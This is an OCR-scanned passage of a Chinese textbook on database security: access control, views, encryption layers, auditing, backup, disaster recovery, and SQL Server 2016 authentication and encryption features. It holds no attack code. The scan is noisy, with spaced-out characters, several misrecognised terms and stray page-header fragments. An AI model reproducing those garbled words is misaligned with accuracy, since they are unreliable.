的 用 户 的 访问 控制 ,是 数据 库 安 全 系统 中 的 核心 技术 ,也 是 最 有 效 的 安全 手段 。 

数据 库 访问 控制 机 制 包括 两 个 部 分 : 

(1) 定义 用 户 权限 。 用 户 权 限 指 不 同 用 户 对 不 同 数据 对 象 允 许 执行 的 操作 权限 。 系 
统 以 语言 定义 用 户 权限 ,经 过 编译 后 存放 在 数据 字典 中 ,被 称 作 系统 的 安全 规则 或 授权 
规则 。 

(2) 合法 性 权限 检查 。 用 户 发 出 访问 数据 库 的 操作 请 求 后 (请 求 一 般 应 包括 操作 类 
型 .操作 对 象 .操作 用 户 等 信息 ) ,DBMS 查找 数据 字典 ,并 根据 安全 规则 进行 合法 权限 检 
查 , 系 统 将 拒绝 用 户 超出 定义 权限 操作 的 请 求 。 

3) 视图 隔离 

视图 是 从 基 表 (或 视图 ) 导 出 的 一 个 不 含有 数据 的 虚 表 , 是 数据 库 系统 提供 给 用 户 以 
多 种 角度 观察 数据 库 中 数据 的 重要 机 制 。 数 据 库 中 只 存放 视图 的 定义 ,而 不 存放 视图 对 
应 的 数据 ,数据 仍 存放 在 原来 的 基本 表 中 。 实 际 上 ,视图 就 是 一 个 窗口 ,通过 它 可 以 看 到 
数据 库 中 具体 的 业务 数据 及 其 变化 。 进 行 访 问 权 限 控制 时 ,可 以 为 不 同 的 用 户 定义 不 同 
的 视图 ,将 访问 数据 的 对 象限 制 在 一 定 的 范围 内 , 即 通过 视图 机 制 将 保密 的 数据 对 无 权 
访问 的 用 户 进行 隔离 ,从 而 对 数据 提供 一 定 程度 的 安全 保护 。 

视图 机 制 最 主要 的 功能 在 于 提供 数据 独立 性 ,实际 应 用 时 可 将 视图 机 制 与 访问 控制 
机 制 结 合 起 来 , 先 用 视图 机 制 屏蔽 一 部 分 保密 数据 , 青 在 视图 上 进一步 定义 访问 权限 ,可 
以 将 用 户 .组 或 角色 限制 在 不 同 的 数据 安全 范畴 内 。 

4) 数据 加 密 

为 了 有 效 防止 数据 在 传输 和 使 用 过 程 中 被 窃取 或 泄密 ,必须 对 数据 进行 加 密 。 数 据 
加 密 和 解密 非常 耗 时 费力 ,其 运行 程序 会 占用 大 量 系 统 资 源 ,因此 数据 加 密 为 可 选 功能 ， 
由 用 户 根据 具体 情况 进行 选择 ,一 般 只 对 重要 机 密 数 据 加 密 。 

5) 审计 

审计 功能 是 数据 库 安全 的 最 后 一 道 防线 。 可 将 用 户 对 数据 库 的 所 有 操作 自动 记录 
下 来 ,存放 在 日 志文 件 中 。DBA 可 以 利用 审计 跟踪 的 信息 , 重 现 导 致 数据 库 出 现 问题 的 
事件 , 找 出 非法 访问 数据 库 的 用 户 、 时 间 、 地 点 ,访问 数据 库 的 对 象 和 所 执行 的 动作 等 。 

通常 审计 方式 有 用 户 审 计 和 系统 审计 两 种 : 

(1) 用 户 审计 。DBMS 的 审计 系统 记 下 所 有 登录 和 对 表 或 视图 访问 的 操作 (包含 成 
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功 及 不 成 功 的 ) 及 操作 的 用 户 名 、 时 间 ,操作 代码 等 信息 。 一 般 记 录 在 数据 字典 (系统 表 ) 
中 ,并 可 对 审计 信息 进行 分 析 与 追踪 。 
(2) 系统 审计 : 由 系统 管理 员 进 行 , 主 要 审计 系统 级 命令 和 数据 库 的 使 用 情况 。 
鉴于 审计 通常 很 耗费 时 间 和 空间 ,因此 ,DBMS 将 其 作为 可 选 特征 ,一 般 主 要 用 于 安 
全 性 要 求 较 高 的 机 构 或 部 门 。 


2. SQL Server 的 安全 性 要 求 


数据 库 管理 员 (DBA) 利 用 SQL Server 保障 大 量 的 业务 数据 的 安全 管理 是 一 项 重要 
职责 。SQL 提供 了 强大 的 安全 机 制 以 保证 数据 的 安全 。 其 安全 性 要 求 主 要 包括 3 个 
方面 : 

(1) 有 关 规 章 制 度 的 安全 性 。 在 SQL 使 用 中 涉及 各 类 人 员 , 为 了 确保 系统 的 安全 ， 
应 健全 严格 的 规章 制度 ,对 DBA 及 操作 人 员 的 要 求 和 在 使 用 业务 信息 系统 的 标准 操作 
流程 等 。 

(2) 服务 器 实体 的 安全 性 。 为 了 实现 数据 库 服 务 器 实体 安全 ,应 将 数据 库 服 务 器 置 
于 安全 房间 ,相关 计算 机 置 于 安全 场所 ,数据 库 服 务 器 不 与 Internet 直接 连接 ,使 用 防火 
墙 , 定 期 备份 数据 库 中 的 数据 ,使 用 磁盘 宛 余 阵列 等 。 

(3) 服务 器 逻辑 的 安全 性 。 身 份 认证 模式 是 SQL 系统 认证 客户 端 和 服务 器 之 间 连 
接 的 方式 。SQL 系统 提供 了 两 种 身份 认证 模式 : Windows 身份 认证 模式 和 混合 模式 。 


3. SQL Server 安全 机 制 


SQL Server 的 安全 控制 策略 如 图 9-5 所 示 。 它 是 一 个 层次 结构 系统 的 集合 ,只 在 满 
足 上 一 层 系统 的 安全 性 要 求 后 才 可 进入 下 一 层 。 


第 一 层 第 二 层 第 三 层 第 四 层 
Windows NT Windows NT SQL Server 数据 库 用 
域 级 安全 性 计算 机 级 安全 性 登录 安全 性 户 和 权限 
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图 9-5 SQL Server 安全 性 控制 策略 示意 图 


实现 SQL Server 的 安全 控制 策略 ,主要 依靠 各 层 安 全 控制 系统 的 身份 认证 ,主要 包 
括 以 下 几 个 方面 。 

1) 用 户 标识 与 认证 

用 户 标 识 和 认证 是 系统 提供 的 最 外 层 安 全 保护 措施 。 其 方法 是 由 系统 提供 一 定 的 
方式 让 用 户 注 册 、 登 录用 户 名 或 身份 和 密码 等 。 用 户 标 识 与 认证 在 SQL 中 对 应 的 是 
Windows NT 或 Windows 登录 账号 和 口令 ,以 及 SQL 用 户 登录 账号 和 口令 。 

2) SQL 身份 认证 方式 

SQL 可 以 识别 两 种 身份 认证 方式 , 即 SQL 身份 认证 方式 和 Windows 身份 认证 方 
式 , 如 图 9-6 所 示 。 这 两 种 方式 都 有 自己 的 登录 账号 类 型 。 


262 


Ze. 
(582 2 3 Bb 第 2 版 ) 


[waaowsN 或 windovyim | —— C D 


SQL Server 
| SQL Server 登 录 账 号 es 数据 库 


9-6 SQL Server 系统 身份 认证 方式 示意 图 


SQL 具有 权限 层次 安全 机 制 。 其 安全 性 管理 可 分 为 如 下 3 个 等 级 : 

(1) 操作 系统 级 的 安全 性 。 当 用 户 使 用 客户 机 通过 网 络 进行 SQL 服务 器 访问 时 ,用 
户 先 要 获得 操作 系统 的 使 用 权 。 一 般 用 户 没 必 要 向 运行 SQL 服务 器 的 主机 登录 ,除非 
该 服务 器 运行 在 本 地 机 上 。SQL 可 直接 访问 网 络 端口 ,实现 对 Windows 安全 体系 以 外 
的 服务 器 及 其 数据 库 的 访问 。 由 于 SQL 采用 了 集成 Windows 网 络 安 全 性 机 制 ,所 以 使 
得 操作 系统 安全 性 得 到 提高 ,但 同时 也 加 大 了 管理 数据 库 系统 安全 性 的 灵活 性 和 难度 。 

(2) SQL Server 级 的 安全 性 。SQL 的 服务 器 级 安全 性 建立 在 控制 服务 器 用 户 登 录 
认证 的 基础 上 。SQL 采用 标准 SQL 登录 和 集成 Windows NT 登录 两 种 方式 ,用 户 在 登 
录 时 提供 的 登录 账号 和 口令 决定 了 用 户 能 否 获 得 SQL 的 访问 权 , 以 及 在 获得 访问 权 以 
后 ,用 户 在 访问 SQL 时 可 以 拥有 的 权利 。 

(3) 数据 库 级 的 安全 性 。 在 用 户 通过 SQL 服务 器 的 安全 性 检验 以 后 ,将 直接 面 对 不 
同 的 数据 库 入 口 ,这 是 用 户 将 接受 的 第 三 次 安全 性 检验 。 

在 建立 用 户 的 登录 账号 时 ,SQL 会 提示 用 户 选择 默认 的 数据 库 。 以 后 用 户 每 次 连接 
上 服务 器 后 ,都 会 自动 转 到 默认 的 数据 库 上 。master 数据 库 的 门 对 任何 用 户 总 是 打开 
的 ,设置 登录 账号 时 没有 指定 默认 的 数据 库 , 则 用 户 的 权限 将 局 限 在 master 数据 库 以 内 。 

在 默认 情况 下 ,只 有 数据 库 的 拥有 者 才 可 访问 该 对 象 ,其 拥有 者 可 分 配 访问 权限 给 
其 他 用 户 ,以 便 让 这 些 用 户 也 拥有 对 该 数据 库 的 访问 权限 ,在 SQL 中 并 非 所 有 权限 都 可 
转让 分 配 。 

ER 讨论 思考 

(1) 数据 库 的 安全 策略 有 哪些 ? 如 何 实施 ? 

(2) 什么 是 数据 库 的 安全 机 制 ? 数据 库 的 安全 机 制 有 哪些 ? 
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951 数据 库 的 安全 体系 


数据 库 系统 的 安全 不 仅 依赖 自身 内 部 的 安全 机 制 , 还 与 外 部 网 络 环境 .应 用 环境 .从 
业 人 员 素 质 等 因素 相关 ,因此 ,数据 库 系统 的 安全 框架 划分 为 3 个 层次 : 网 络 系统 层 、 宿 
主 操作 系统 层 和 数据 库 管理 系统 层 , 一 起 构成 数据 库 系统 的 安全 体系 。 


1. 网 络 系统 层 


随 着 Internet 的 广泛 应 用 , 越 来 越 多 的 企业 将 其 核心 业务 转向 互联 网 ,各 种 基于 网 
络 的 数据 库 应 用 系统 也 得 到 了 广泛 应 用 ,面向 网 络 用 户 提供 各 种 信息 服务 。 在 新 的 行业 
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背景 下 ,网络 系统 是 数据 库 应 用 的 重要 基础 和 外 部 环境 ,数据 库 系 统 要 发 挥 其 强大 作用 
离 不 开 网 络 系统 的 支持 ,例如 数据 库 系 统 的 异地 用 户 、 分 布 式 用 户 也 要 通过 网 络 才能 访 
问 数 据 库 。 

外 部 入 侵 通 常 是 从 人 侵 网 络 系统 开始 的 ,所 以 ,网 络 系统 的 安全 成 为 数据 库 安全 的 
第 一 道 屏障 。 计 算 机 网 络 系统 的 开放 式 环境 面临 许多 安全 威胁 ,主要 包括 欺骗 、 重 发 或 
重 放 、 报 文 修改 或 自 改 、 拒 绝 服 务 、 陷 阱 门 或 后 门 、 病 毒 和 攻击 等 。 因 此 ,必须 采取 有 效 的 
措施 。 技 术 上 ,网 络 系 统 层次 的 安全 防范 技术 有 多 种 ,包括 防火 墙 . 入 侵 检测 、 协 作 式 入 
侵 检 测 技术 等 。 


2. 宿主 操作 系统 层 


操作 系统 是 大 型 数据 库 系统 的 运行 平台 ,为 数据 库 系统 提供 一 定 的 安全 保护 。 但 
是 ,主流 操作 系统 平台 安全 级 别 较 低 , 为 Cl 或 C2 级 ,在 维护 宿主 操作 系统 安全 方面 提供 
相关 安全 技术 进行 防御 ,包括 操作 系统 安全 策略 .安全 管理 策略 .数据 安全 等 方面 。 

1) 操作 系统 安全 策略 

操作 系统 安全 策略 主要 用 于 配置 本 地 计算 机 的 安全 设置 ,包括 密码 策略 .账户 锁定 
策略 .审核 策略 .IP 安全 策略 .用 户 权 利 指派 ,加密 数据 的 恢复 代理 以 及 其 他 安全 选项 。 
具体 设置 体现 在 用 户 账户 .口令 .访问 权限 .审计 等 方面 。 

(1) 用 户 账户 : 用 户 访问 系统 的 “身份 证 .只 有 合法 用 户 才 拥 有 这 种 账户 。 

(2) HZ: 用 户 的 口令 为 用 户 访问 系统 提供 凭证 。 

(3) 访问 权限 : 规定 用 户 访问 的 权利 。 

(4) 审计 : 对 用 户 的 操作 行为 进行 跟踪 和 记录 ,便于 系统 管理 员 分 析 系 统 的 访问 情 
况 以 及 事后 的 追踪 调查 。 

2) 安全 管理 策略 

安全 管理 策略 是 指 网 络 管理 员 对 系统 实施 安全 管理 所 采取 的 方法 及 措施 。 针 对 不 
同 的 操作 系统 、 网 络 环境 ,需要 采取 的 安全 管理 策略 不 尽 相 同 , 但 是 ,其 核心 都 是 保证 服 
务 器 的 安全 和 分 配 好 各 类 用 户 的 权限 。 

3) 数据 安全 

数据 安全 主要 体现 在 数据 加 密 技术 .数据 备份 .数据 存储 安全 、 数 据 传输 安全 等 。 可 
采用 的 技术 包括 Kerberos 认证 ,IPSec、SSL、TLS、VPN(PPTP、L2TP) 等 。 


3. 数据 库 管 理 系统 层 


数据 库 系统 的 安全 性 很 大 程度 上 依赖 于 DBMS。 现 在 ,关系 数据 库 为 主流 数据 库 ， 
而 且 ,DBMS 的 弱 安全 性 功能 导致 数据 库 系统 的 安全 性 存在 一 定 风险 和 威胁 。 

由 于 数据 库 系统 在 操作 系统 层面 均 以 文件 形式 进行 管理 ,因此 黑客 可 直接 利用 操作 
系统 的 漏洞 窃取 其 文件 ,或 直接 利用 操作 系统 工具 非法 伪造 .修改 文件 内 容 。 分 析 和 防 
范 这 种 漏洞 是 B2 级 的 安全 技术 措施 。 所 以 ,当前 面 两 个 层次 被 突破 时 ,要 使 DBMS 相关 
安全 技术 仍 能 保障 数据 安全 , 则 要 求 DBMS 必须 有 一 套 强 有 力 的 安全 机 制 。 其 有 效 方法 
之 一 是 DBMS 对 数据 库 文件 进行 加 密 处 理 。 实 际 上 ,可 在 如 下 3 个 层次 对 数据 进行 
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加 密 。 

1) 操作 系统 层 加 密 

操作 系统 作为 数据 库 系统 的 运行 平台 管理 数据 库 的 各 种 文件 ,并 可 通过 加 密 系 统 对 
数据 库 文件 进行 加 密 操作 。 由 于 此 层 无 法 辨认 数据 库 文件 中 的 数据 关系 ,使 密 钥 难以 进 
行 管理 和 使 用 ,因此 ,对 大 型 数据 库 在 操作 系统 层 无 法 实现 对 数据 库 文件 的 加 密 。 

2) DBMS 内 核 层 加 密 

DBMS 内 核 层 加 密 主要 是 指数 据 在 物理 存 取 之 前 完成 加 /解密 工作 。 其 加 密 方式 的 
优点 是 : 加 密 功能 强 , 且 基 本 不 影响 DBMS 的 功能 ,可 实现 加 密 功能 与 DBMS 之 间 的 无 
缝 耦合。 其 缺点 是 : 加 密 运算 在 服务 器 端 进行 ,加 重 了 其 负载 , 且 DBMS 和 加 密 器 之 间 
的 接口 需要 DBMS 开发 商 的 支持 。 

3) DBMS 外 层 加 密 

在 实际 应 用 中 ,可 将 数据 库 加 密 系统 做 成 DBMS 的 一 个 外 层 工具 ,根据 加 密 要 求 自 
动 完 成 对 数据 库 数据 的 加 /解密 处 理 。 


952 数据 库 的 安全 防护 


网 络 数据 库 的 主要 结构 为 多 级 、 互 联 和 安全 级 别 差异 ,其 安全 性 不 仅 关 系 到 数据 库 
之 间 的 安全 ,而 且 关系 到 一 个 数据 库 中 多 级 功能 的 安全 性 。 应 侧重 考虑 两 个 层面 : 一 是 
外 围 层 的 安全 , 即 操作 系统 、 传 输 数 据 的 网 络 、Web 服务 器 以 及 应 用 服务 器 的 安全 ;二 是 
数据 库 核心 层 的 安全 , 即 数据 库 本 身 的 安全 。 


1. 外 围 层 安全 防护 


外 围 层 的 安全 主要 包括 计算 机 系统 安全 和 网 络 安全 。 最 主要 的 威胁 来 自 本 机 或 网 
络 的 人 为 攻击 。 因 此 ,外 围 层 需要 对 操作 系统 中 数据 读 写 的 关键 程序 进行 完整 性 检查 ， 
对 内 存 中 的 数据 进行 访问 控制 ,对 Web 服务 器 及 应 用 服务 器 中 的 数据 进行 保护 ,对 与 数 
据 库 相关 的 网 络 数据 进行 传输 保护 等 。 具 体 包 括 以 下 4 个 方面 。 

1) 操作 系统 

操作 系统 是 大 型 数据 库 系 统 的 运行 平台 ,为 数据 库 系统 提供 运行 支撑 性 安全 保护 。 
目前 操作 系统 平台 大 多 数 是 Windows Server 和 UNIX。 主 要 安全 技术 有 操作 系统 安全 
策略 .安全 管理 策略 .数据 安全 等 方面 ,具体 参见 前 面 的 相关 介绍 。 

2) 服务 器 及 应 用 服务 器 安全 

在 分 层 体 系 结构 中 ,Web 数据 库 系 统 的 业务 逻辑 集中 在 网 络 服务 器 或 应 用 服务 器 
上 ,客户 端的 访问 请 求 .身份 认证 ,特别 是 数据 首先 反馈 到 服务 器 ,所 以 需要 对 其 中 的 数 
据 进行 安全 防护 ,防止 假冒 用 户 和 服务 器 的 数据 失窃 等 。 可 以 采用 安全 的 技术 手段 ,如 
防火 墙 技 术 、 防 病毒 技术 等 ,保证 服务 器 安全 ,确保 服务 器 免 受 病毒 等 非法 入 侵 。 

3) 传输 安全 

传输 安全 是 保护 网 络 数据 库 系统 内 传输 的 数据 安全 。 可 采用 VPN 技术 构建 网 络 数 
据 库 系统 的 虚拟 专用 网 ,保证 网 络 路 由 的 接 入 安全 及 信息 的 传输 安全 。 同 时 对 传输 的 数 
据 可 以 采用 加 密 的 方法 防止 泄漏 或 破坏 ,根据 具体 的 实际 需求 可 考虑 3 种 加 密 策略 : 链 
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路 加 密 用 于 保护 网 络 结 点 之 间 的 链 路 安全 ,端点 加 密 用 于 对 源 端 用 户 到 目的 端 用 户 的 数 
据 提供 保护 , 结 点 加 密 用 于 对 源 结 点 到 目的 结 点 之 间 的 传输 链 路 提供 保护 。 

4) 数据 库 管 理 系统 安全 

其 他 各 节 介 绍 的 一 些 非 网 络 数据 库 的 安全 防护 技术 或 措施 同样 适用 于 网 络 数据 库 。 


2. 核心 层 的 安全 防护 


数据 库 和 数据 安全 是 网 络 数据 库 系统 的 关键 。 非 网 络 数据 库 的 安全 保护 措施 同样 
也 适用 于 网 络 数 据 库 核 心 层 的 安全 防护 。 

1) 数据 库 加 密 

网 络 数 据 库 中 的 数据 加 密 是 数据 库 安全 的 核心 问题 。 为 防止 利用 网 络 协 议 、 操 作 系 
统 安 全 漏洞 绕 过 数据 库 的 安全 机 制 直接 访问 数据 库 文 件 , 必 须 对 其 文件 进行 加 密 。 

数据 库 加 密 不 同 于 一 般 的 文件 加 密 , 传 统 的 加 密 以 报 文 为 单位 ,网 络 通信 发 送 和 接 
收 的 都 是 同一 连续 的 比特 流 , 传 输 的 信息 无 论 长 短 , 密 钥 匹 配 连续 且 顺 序 对 应 ,传输 信息 
的 长 度 不 受 密 钥 长 度 的 限制 。 在 数据 库 中 ,一 般 记录 长 度 较 短 , 数 据 存储 时 间 较 长 ,相应 
地 密 钥 保 存 时 间 也 依 数据 生命 周期 而 定 。 若 在 库 内 使 用 同一 密 钥 , 则 保密 性 差 ; 若 不 同 
记录 使 用 不 同 密 钥 , 则 密 钥 多 ,管理 复杂 。 不 可 简单 采用 一 般 通 用 的 加 密 技术 ,而 应 针对 
数据 库 的 特点 ,选取 相应 的 加 密 及 密 钥 管 理 方法 。 对 于 数据 库 中 的 数据 ,操作 时 主要 
是 针对 数据 的 传输 ,这 种 使 用 方法 决定 了 不 可 能 以 整个 数据 库 文件 为 单位 进行 加 密 。 
符合 检索 条 件 的 记录 只 是 数据 库 文件 中 随机 的 一 段 , 通 常 的 加 密 方法 无 法 从 中 间 开 始 
解密 。 

2) 数据 分 级 控制 

依据 数据 库 安全 性 要 求 和 存储 数据 的 重要 程度 ,应 对 不 同安 全 要 求 的 数据 实行 一 定 
的 级 别 控制 。 如 为 每 一 个 数据 对 象 都 赋予 一 定 的 密级 : 公开 级 、 秘 密级、 机 密级 、 绝 密级 。 
对 于 不 同 权限 的 用 户 , 系 统 也 定义 相应 的 级 别 并 加 以 控制 。 由 此 ,可 通过 DBMS 建立 视 
图 ,管理 员 也 可 根据 查询 数据 的 逻辑 归纳 ,并 将 其 查询 权限 授予 指定 用 户 。 此 种 数据 分 
类 的 操作 单位 为 授权 和 矩阵 表 中 的 一 条 记录 的 某 个 字段 形式 。 数 据 分 级 作为 一 种 简单 的 
控制 方法 ,其 优点 是 数据 库 系统 能 执行 “信息 流 控制 ", 可 避免 非法 的 信息 流动 。 

3) 数据 库 的 备份 与 恢复 

数据 库 一 旦 遭受 破坏 ,数据 库 的 备份 则 是 最 后 一 道 保障 。 建 立 严格 的 数据 备份 与 恢 
复 管 理 是 保障 网 络 数据 库 系统 安全 的 有 效 手 段 。 数 据 备份 不 仅 要 保证 备份 数据 的 完整 
性 ,而 且 要 建立 详细 的 备份 数据 档案 。 系 统 恢复 时 使 用 不 完整 或 日 期 不 正确 的 备份 数据 
都 会 影响 系统 数据 库 的 完整 性 ,导致 严重 后 果 。 

数据 备份 可 分 为 硬件 级 和 软件 级 两 个 层次 。 硬 件 级 备份 指 用 宛 余 的 硬件 来 保证 系 
统 的 连续 运行 。 软 件 级 备份 指 将 系统 数据 保存 到 其 他 介质 上 , 当 出 现 错误 时 可 将 系统 恢 
复 到 备份 时 的 状态 ,以 防止 逻辑 损坏 。 恢 复 技术 主要 有 基于 备份 的 恢复 技术 .基于 备份 
和 运行 日 志 的 恢复 技术 和 基于 多 备份 的 恢复 技术 。 基 于 备份 的 恢复 技术 是 最 简单 和 实 
用 的 ,可 周期 性 地 恢复 磁盘 上 的 数据 库 内 容 或 转 存 到 其 他 存储 介质 上 。 一 般 , 网 络 数据 
库 的 恢复 主要 有 磁盘 镜像 .数据库 备份 文件 和 数据 库 在 线 日 志 3 种 方式 。 
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4) 网 络 数据 库 的 容 灾 系 统 设计 

容 灾 就 是 为 恢复 数字 资源 和 计算 机 系统 所 提供 的 技术 和 设备 上 的 保证 机 制 ,其 主要 
手段 是 建立 异地 容 灾 中 心 。 异 地 容 灾 中 心 一 是 保证 受 援 中 心 数字 资源 的 完整 性 ,二 是 在 
完整 数据 基础 上 的 系统 恢复 ,数据 备份 是 基础 ,如 完全 备份 . 增 量 备份 或 差异 备份 。 对 于 
数据 量 比较 小 ,重要 性 较 小 的 一 些 资料 文档 性 质 的 数据 资源 ,可 采取 单 点 容 灾 的 模式 , 主 
要 是 利用 宛 余 硬件 设备 保护 该 网 络 环境 内 的 某 个 服务 器 或 网 络 设备 ,以 避免 出 现 该 点 数 
据 失 效 。 另 外 ,可 选择 互联 网 数据 中 心 (Internet Data Center,IDC) 数 据 托 管 服务 来 保障 
数据 安全 。 如 果 要 求 容 灾 系 统 具有 与 主 处 理 中 心 相 当 的 原始 数据 采集 能 力 和 相应 的 预 
处 理 能 力 , 则 需要 构建 应 用 级 容 灾 中 心 。 此 系统 在 发 生 灾难 、 主 中 心 瘫痪 时 ,不 仅 可 保证 
数据 安全 , 且 可 保持 系统 正常 运行 。 

ER 讨论 思考 

(1) 数据 库 系 统 的 安全 体系 框架 主要 包括 哪些 ? 

(2) 数据 库 的 安全 防护 技术 主要 包括 哪些 方面 ? 
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961 网 络 用 户 安全 管理 


对 过 去 的 单机 数据 库 , 用 户 管理 只 在 单机 上 通过 DBMS 进行 。 而 针对 网 络 数 据 库 系 
统 的 网 络 特性 ,针对 网 络 数据 库 的 结构 特性 ,用 户 管理 需要 同时 考虑 客户 端 和 服务 器 端 
两 部 分 的 内 容 。 在 服务 器 端 , 原 有 非 网 络 数据 库 中 用 户 管理 涉及 的 用 户 创建 .删除 以 及 
用 户 权限 管理 等 仍然 适用 ,并 且 服务 器 端 还 承担 着 客户 端 提交 的 关于 用 户 创 建 、 删 除 . 权 
限 控制 等 的 指令 。 所 以 ,在 服务 器 端 需要 增加 对 用 户 身份 的 审核 (是 否 假冒 用 户 、 是 否 有 
操作 权限 等 )。 在 客户 端 ,如 果 用 户 进 行 网 络 数据 库 登 录 , 用 户 名 /口令 等 信息 将 在 网 络 
上 进行 传输 ,所 以 ,需要 对 传输 内 容 进行 加 密 保 护 等 等 。 


1. 用 户 管理 


当 用 户 在 客户 端 向 服务 器 端 发 送 操作 请 求 时 ,首先 需要 对 该 用 户 进行 身份 认证 ,并 
确认 该 操作 请 求 没有 被 重 放 、 自 改 ,确保 该 用 户 的 合法 性 以 及 请 求 的 真实 性 。 从 技术 角 
度 , 可 以 提供 多 种 方法 实现 安全 需求 ,如 基于 时 间 戳 、 随 机 数 等 机 制 可 以 抵抗 操作 请 求 的 
E 放 ,MAC 码 . 散 列 函 数 等 技术 可 以 用 于 检测 操作 请 求 是 否 被 算 改 。 


2. 身份 认证 


在 开放 共享 的 网 络 环境 下 ,对 访问 网 络 数据 库 系统 的 用 户 必 须要 求 进行 身份 认证 ， 
以 防 非法 用 户 访 问 。 在 非 网 络 数据 库 管 理 系统 中 ,身份 认证 有 系统 登录 ,数据 库 连 接 和 
数据 库 对 象 使 用 3 级 。 在 网 络 环境 下 ,网 络 数据 库 管理 系统 分 为 两 级 : 认证 用 户 身份 对 
数据 库 访问 权限 ,认证 用 户 对 数据 库 对 象 的 访问 权限 。 
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3. 访问 控制 


访问 控制 策略 .用户 身份 ,数据库 资源 和 访问 行为 构成 网 络 数据 库 访 问 控制 模型 。 
其 核心 是 : 访问 控制 策略 将 用 户 、 特 定数 据 库 资源 和 用 户 对 资源 的 访问 行为 (许可 或 拒 
绝 ) 紧 密 联系 。 

访问 控制 策略 需要 针对 用 户 身份 信息 和 数据 库 资 源 信息 制订 ,并 且 用 户 身份 .数据 
库 资源 和 访问 控制 策略 三 者 动态 结合 ,只 有 当 某 个 用 户 想 要 访问 特定 数据 库 资 源 时 , 访 
问 控制 策略 才 与 这 两 者 发 生 联 系 。 在 网 络 数据 库 环境 下 ,利用 用 户 ID 类别、 网 络 地 址 等 
实现 访问 和 许可 规则 ,利用 多 种 技术 实现 规则 ,如 IP 地 址 过 滤 .代理 技术 .身份 认证 和 代 
理 / 身 份 认证 混合 等 。 


4. 审计 追踪 


身份 认证 和 访问 控制 是 目前 网 络 信息 系统 中 普遍 使 用 的 安全 性 方法 ,但 没有 一 种 可 
行 的 方法 能 够 彻底 解决 合法 用 户 在 通过 身份 认证 后 滥用 特权 的 问题 。 因 而 ,网 络 数据 库 
中 对 合法 用 户 或 合法 请 求 的 审计 追踪 可 以 自动 将 网 络 数据 库 的 操作 记录 在 审计 日 志 中 ， 
以 此 来 监视 各 用 户 及 操作 请 求 对 数据 库 的 操作 。 


962 ”SQL Server 2016 用 户 安全 管理 实例 


与 以 前 的 版 本 特别 是 SQL Server 2008 相 比 ,SQL Server 2016 提供 了 许多 和 旨 在 改善 
数据 库 环境 的 总 体 安 全 性 的 增强 功能 和 新 功能 。 比 如 增加 密 钥 加密 和 身份 认证 功能 ,并 
引入 新 的 审核 系统 。 当 然 ,数据 库 的 安全 性 与 系统 的 安全 性 息息相关 。 数 据 库 系统 中 存 
在 的 安全 漏洞 和 不 当 的 配置 通常 会 造成 严重 的 后 果 , 而 且 难 以 发 现 。 所 以 ,在 进行 SQL 
Server 2016 数据 库 安 全 配置 前 ,首先 必须 对 操作 系统 进行 安全 配置 ,保证 操作 系统 处 于 
安全 状态 。 其 次 对 操作 数据 库 的 软件 (程序 ) 进 行 必要 的 安全 审核 。 如 对 ASP、PHP 等 
脚本 进行 审核 ,这 是 基于 数据 库 Web 应 用 常 出 现 的 安全 隐患 。 对 于 脚本 主要 是 一 个 过 
滤 问 题 ,需要 过 滤 一 些 类 似 "、; 、@ 、/ 等 字符 ,防止 破坏 者 构造 恶意 的 SQL 语句 。 


1. 身份 认证 


在 安装 过 程 中 ,必须 为 数据 库 引 擎 选择 身份 认证 模式 。 可 供 选 择 的 模式 有 两 种 : 
Windows 身份 认证 模式 和 混合 模式 。Windows 身份 认证 模式 会 启用 Windows 身份 认证 
并 禁用 SQL Server 身份 认证 。 混 合 模式 会 同时 启用 Windows 身份 认证 和 SQL Server 
身份 认证 。Windows 身份 认证 始终 可 用 ,并 且 无 法 禁用 。 

1) 配置 身份 认证 模式 

如 果 在 安装 过 程 中 选择 混合 模式 身份 认证 , 则 必须 为 名 为 sa 的 内 置 SQL 系统 管理 
员 账 户 提供 一 个 强 密码 并 确认 该 密码 。sa 账户 通过 使 用 SQL 身份 认证 进行 连接 。 

如 果 安 装 过 程 中 选择 Windows 身份 认证 , 则 安装 程序 会 为 SQL 身份 认证 创建 sa 
账户 ,但 会 禁用 该 账户 。 如 果 更 改 为 混合 模式 身份 认证 并 使 用 sa 账户 , 则 必须 启用 该 
账户 。 
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2) 密码 策略 

供 SQL Server 登录 名 使 用 的 密码 策略 有 3 种 。 

(1) 用 户 在 下 次 登录 时 必须 更 改 密码 。 要 求 用 户 在 下 次 连接 时 更 改 密码 。 更 改 密码 
的 功能 由 SQL Server Management Studio 提供 。 如 果 使 用 该 选项 , 则 第 三 方 软件 开发 人 

(2) 强制 密码 过 期 。 对 SQL 登录 名 强制 实施 计算 机 的 密码 最 长 使 用 期 限 策略 。 

(3) 强制 实施 密码 策略 。 对 SQL Server 登录 名 强制 实施 计算 机 的 Windows 密码 策 
略 , 包 括 密码 长 度 和 密码 复杂 性 。 此 功能 需要 通过 Net Validate Password Policy API 
实现 。 


2. 透明 加 密 


在 SQL Server 2016 系统 中 针对 加 密 有 两 大 改进 。 首 先 ,SQL Server 可 以 使 用 存储 
在 外 部 第 三 方 硬件 安全 模块 上 的 加 密 密 钥 。 其 次 ,对 于 存储 在 SQL Server 中 的 数据 ,可 
采用 对 连接 到 该 数据 库 的 应 用 程序 透明 的 方法 来 对 其 进行 加 密 。 

第 一 个 改进 通过 新 的 可 扩展 密 钥 管理 (Extensible Key Management, EKM) 功 能 来 
实现 ,在 Enterprise、Developer 和 Evaluation 版 本 中 提供 该 功能 。EKM 使 密 钥 管理 和 硬 
件 安全 模块 解决 方案 的 第 三 方 供应 商 在 SQL Server 中 注册 其 设备 ,用 户 使 用 这 些 模块 
中 存储 的 加 密 密 钥 。 

另 一 新 功能 是 透明 数据 加 密 ,允许 在 不 必 更 改 任何 应 用 程序 的 情况 下 加 密 数据 库 文 
件 。 该 功能 可 对 数据 和 日 志文 件 执行 实时 W/O 加 密 和 和 解密。 加密 所 使 用 的 数据 库 加密 
密 钥 (Database Encryption Key,DEK) 存 储 在 数据 库 引 导 记 录 中 ,以 便 在 恢复 时 仍 可 使 
用 。DEK 的 安全 则 由 存储 在 服务 器 主 数据 库 中 的 一 个 证 书 来 保证 。 


3. 安全 审核 


SQL Server Audit 是 一 项 新 功能 ,通过 它 来 创建 自 定 义 的 数据 库 引 擎 事件 审核 。 该 
功能 使 用 扩展 事件 来 记录 审核 信息 ,并 且 提 供 在 各 种 服务 器 和 数据 库 对 象 上 启用 、 存 储 
和 查看 审核 所 需 的 工具 和 过 程 。 

需要 建立 审核 ,并 指定 记录 所 审核 事件 的 位 置 。 审 核 可 保存 到 Windows 安全 日 志 、 
